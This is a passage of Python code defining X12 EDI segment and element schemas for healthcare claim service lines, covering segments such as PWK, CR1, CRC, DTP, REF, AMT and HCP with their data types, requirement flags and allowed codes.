data_type=("ID", "1", "2"),
position=2,
codes=["AA", "BM", "EL", "EM", "FT", "FX"],
),
),
Element(
"PWK03",
Properties(
desc="Report Copies Needed",
req_sit="N",
data_type=("N0", "1", "2"),
position=3,
codes=[],
),
),
Element(
"PWK04",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"PWK05",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=5,
codes=["AC"],
),
),
Element(
"PWK06",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=6,
codes=[],
),
),
Element(
"PWK07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=7,
codes=[],
),
),
Composite(
"C002",
Properties(
desc="Actions Indicated", refdes="", repeat="", req_sit="N", seq="08"
),
),
Element(
"PWK09",
Properties(
desc="Request Category Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=9,
codes=[],
),
),
),
Segment(
"PWK",
Properties(
desc="Durable Medical Equipment Certificate of Medical Necessity Indicator",
position="4200",
repeat="1",
req_sit="S",
syntax="P0506",
),
Element(
"PWK01",
Properties(
desc="Report Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["CT"],
),
),
Element(
"PWK02",
Properties(
desc="Report Transmission Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=2,
codes=["AB", "AD", "AF", "AG", "NS"],
),
),
Element(
"PWK03",
Properties(
desc="Report Copies Needed",
req_sit="N",
data_type=("N0", "1", "2"),
position=3,
codes=[],
),
),
Element(
"PWK04",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"PWK05",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"PWK06",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=6,
codes=[],
),
),
Element(
"PWK07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=7,
codes=[],
),
),
Composite(
"C002",
Properties(
desc="Actions Indicated", refdes="", repeat="", req_sit="N", seq="08"
),
),
Element(
"PWK09",
Properties(
desc="Request Category Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=9,
codes=[],
),
),
),
Segment(
"CR1",
Properties(
desc="Ambulance Transport Information",
position="4250",
repeat="1",
req_sit="S",
syntax="P0102 P0506",
),
Element(
"CR101",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=1,
codes=["LB"],
),
),
Element(
"CR102",
Properties(
desc="Weight",
req_sit="S",
data_type=("R", "1", "10"),
position=2,
codes=[],
),
),
Element(
"CR103",
Properties(
desc="Ambulance Transport Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
Element(
"CR104",
Properties(
desc="Ambulance Transport Reason Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["A", "B", "C", "D", "E"],
),
),
Element(
"CR105",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=5,
codes=["DH"],
),
),
Element(
"CR106",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=6,
codes=[],
),
),
Element(
"CR107",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=7,
codes=[],
),
),
Element(
"CR108",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=8,
codes=[],
),
),
Element(
"CR109",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=9,
codes=[],
),
),
Element(
"CR110",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=10,
codes=[],
),
),
),
Segment(
"CR3",
Properties(
desc="Durable Medical Equipment Certification",
position="4350",
repeat="1",
req_sit="S",
syntax="P0203",
),
Element(
"CR301",
Properties(
desc="Certification Type Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=1,
codes=["I", "R", "S"],
),
),
Element(
"CR302",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["MO"],
),
),
Element(
"CR303",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=3,
codes=[],
),
),
Element(
"CR304",
Properties(
desc="Insulin Dependent Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=4,
codes=[],
),
),
Element(
"CR305",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=5,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="Ambulance Certification",
position="4500",
repeat="3",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["07"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=6,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=7,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
),
Segment(
"CRC",
Properties(
desc="Hospice Employee Indicator",
position="4500",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["70"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["65"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=5,
codes=[],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=[],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="Condition Indicator/Durable Medical Equipment",
position="4500",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["09"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["38", "ZV"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["38", "ZV"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=5,
codes=["38", "ZV"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=["38", "ZV"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=["38", "ZV"],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Service Date",
position="4550",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["472"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8", "RD8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Prescription Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["471"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="DATE - Certification Revision/Recertification Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["607"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Begin Therapy Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["463"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Certification Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["461"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Seen Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["304"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Test Date", position="4550", repeat="2", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["738", "739"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Shipped Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["011"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last X-ray Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["455"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Initial Treatment Date",
position="4550",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["454"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"QTY",
Properties(
desc="Ambulance Patient Count",
position="4600",
repeat="1",
req_sit="S",
syntax="E0204 R0204",
),
Element(
"QTY01",
Properties(
desc="Quantity Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["PT"],
),
),
Element(
"QTY02",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
Element(
"QTY04",
Properties(
desc="Free-form Information",
req_sit="N",
data_type=("AN", "1", "30"),
position=4,
codes=[],
),
),
),
Segment(
"QTY",
Properties(
desc="Obstetric Anesthesia Additional Units",
position="4600",
repeat="1",
req_sit="S",
syntax="E0204 R0204",
),
Element(
"QTY01",
Properties(
desc="Quantity Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["FL"],
),
),
Element(
"QTY02",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
Element(
"QTY04",
Properties(
desc="Free-form Information",
req_sit="N",
data_type=("AN", "1", "30"),
position=4,
codes=[],
),
),
),
Segment(
"MEA",
Properties(
desc="Test Result",
position="4620",
repeat="5",
req_sit="S",
syntax="R03050608 L050412 L060412 L07030506 E0803 P1112",
),
Element(
"MEA01",
Properties(
desc="Measurement Reference ID Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["OG", "TR"],
),
),
Element(
"MEA02",
Properties(
desc="Measurement Qualifier",
req_sit="R",
data_type=("ID", "1", "3"),
position=2,
codes=["HT", "R1", "R2", "R3", "R4"],
),
),
Element(
"MEA03",
Properties(
desc="Measurement Value",
req_sit="R",
data_type=("R", "1", "20"),
position=3,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="04",
),
),
Element(
"MEA05",
Properties(
desc="Range Minimum",
req_sit="N",
data_type=("R", "1", "20"),
position=5,
codes=[],
),
),
Element(
"MEA06",
Properties(
desc="Range Maximum",
req_sit="N",
data_type=("R", "1", "20"),
position=6,
codes=[],
),
),
Element(
"MEA07",
Properties(
desc="Measurement Significance Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=7,
codes=[],
),
),
Element(
"MEA08",
Properties(
desc="Measurement Attribute Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=8,
codes=[],
),
),
Element(
"MEA09",
Properties(
desc="Surface/Layer/Position Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"MEA10",
Properties(
desc="Measurement Method or Device",
req_sit="N",
data_type=("ID", "2", "4"),
position=10,
codes=[],
),
),
Element(
"MEA11",
Properties(
desc="Code List Qualifier Code",
req_sit="N",
data_type=("ID", "1", "3"),
position=11,
codes=[],
),
),
Element(
"MEA12",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=12,
codes=[],
),
),
),
Segment(
"CN1",
Properties(
desc="Contract Information",
position="4650",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CN101",
Properties(
desc="Contract Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["01", "02", "03", "04", "05", "06", "09"],
),
),
Element(
"CN102",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"CN103",
Properties(
desc="Percent, Decimal Format",
req_sit="S",
data_type=("R", "1", "6"),
position=3,
codes=[],
),
),
Element(
"CN104",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"CN105",
Properties(
desc="Terms Discount Percent",
req_sit="S",
data_type=("R", "1", "6"),
position=5,
codes=[],
),
),
Element(
"CN106",
Properties(
desc="Version Identifier",
req_sit="S",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Repriced Line Item Reference Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9B"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Adjusted Repriced Line Item Reference Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9D"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Prior Authorization",
position="4700",
repeat="5",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G1"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
Segment(
"REF",
Properties(
desc="Line Item Control Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["6R"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Mammography Certification Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EW"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Clinical Laboratory Improvement Amendment (CLIA) Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["X4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Referring Clinical Laboratory Improvement Amendment (CLIA) Facility Identification",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Immunization Batch Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["BT"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Referral Number",
position="4700",
repeat="5",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9F"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
Segment(
"AMT",
Properties(
desc="Sales Tax Amount", position="4750", repeat="1", req_sit="S", syntax=""
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["T"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Postage Claimed Amount",
position="4750",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["F4"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"K3",
Properties(
desc="File Information",
position="4800",
repeat="10",
req_sit="S",
syntax="",
),
Element(
"K301",
Properties(
desc="Fixed Format Information",
req_sit="R",
data_type=("AN", "1", "80"),
position=1,
codes=[],
),
),
Element(
"K302",
Properties(
desc="Record Format Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
),
Segment(
"NTE",
Properties(
desc="Line Note", position="4850", repeat="1", req_sit="S", syntax=""
),
Element(
"NTE01",
Properties(
desc="Note Reference Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["ADD", "DCP"],
),
),
Element(
"NTE02",
Properties(
desc="Description",
req_sit="R",
data_type=("AN", "1", "80"),
position=2,
codes=[],
),
),
),
Segment(
"NTE",
Properties(
desc="Third Party Organization Notes",
position="4850",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"NTE01",
Properties(
desc="Note Reference Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["TPO"],
),
),
Element(
"NTE02",
Properties(
desc="Description",
req_sit="R",
data_type=("AN", "1", "80"),
position=2,
codes=[],
),
),
),
Segment(
"PS1",
Properties(
desc="Purchased Service Information",
position="4880",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"PS101",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"PS102",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"PS103",
Properties(
desc="State or Province Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
),
Segment(
"HCP",
Properties(
desc="Line Pricing/Repricing Information",
position="4920",
repeat="1",
req_sit="S",
syntax="R0113 P0910 P1112",
),
Element(
"HCP01",
Properties(
desc="Pricing Methodology",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"00",
"01",
"02",
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"12",
"13",
"14",
],
),
),
Element(
"HCP02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"HCP03",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"HCP04",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"HCP05",
Properties(
desc="Rate",
req_sit="S",
data_type=("R", "1", "9"),
position=5,
codes=[],
),
),
Element(
"HCP06",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=6,
codes=[],
),
),
Element(
"HCP07",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=7,
codes=[],
),
),
Element(
"HCP08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=8,
codes=[],
),
),
Element(
"HCP09",
Properties(
desc="Product/Service ID Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=9,
codes=["ER", "HC", "IV", "WK"],
),
),
Element(
"HCP10",
Properties(
desc="Product/Service ID",
req_sit="S",
data_type=("AN", "1", "48"),
position=10,
codes=[],
),
),
Element(
"HCP11",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=11,
